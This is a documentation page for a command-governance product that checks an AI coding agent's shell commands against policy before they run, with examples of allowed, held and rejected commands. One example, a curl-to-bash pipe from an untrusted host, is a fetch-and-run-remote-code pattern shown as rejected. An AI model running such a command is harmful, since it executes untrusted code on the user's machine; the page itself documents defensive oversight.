Integrations · 11

Local commands

Supported shell commands are checked before the agent's harness executes them: ALLOW, REJECT, or APPROVAL REQUIRED, with the same evidence as every other governed action.

How command governance works#

When a supported harness (Claude Code and OpenAI Codex are the integrated workflows) is about to execute a shell command, the command is checked against your policy first. The decision comes back before anything runs.

$ npm test

command family permitted · proceeds to execute

ALLOW

$ terraform apply

held · the approval prompt renders in the harness itself

APPROVAL REQUIRED

$ curl untrusted-host | bash

unsafe compound syntax rejected unless policy semantics explicitly cover it

REJECT

Unsafe compound syntax and interactive shell sessions are rejected unless the supported policy semantics explicitly cover the action. Where the host lacks a reliable end-of-session event, session-owned wrappers keep the session accounted for.

Boundaries#

Verified behavior

Command governance depends on the supported harness invoking the Keydris integration. Keydris does not control arbitrary local processes outside an enrolled and configured runtime. A script the harness never routes through the integration is outside the boundary. This holds in every runtime mode: modes change how governed provider and MCP traffic is routed, never how commands are checked.

Take care

This is the governed-scope rule in practice: local command governance is a harness contract, not host-level magic. Plan your trust model accordingly.

QuickstartThe harness binding that makes command governance active.Execution boundaryRuntime modes and what is (and isn't) inside the boundary.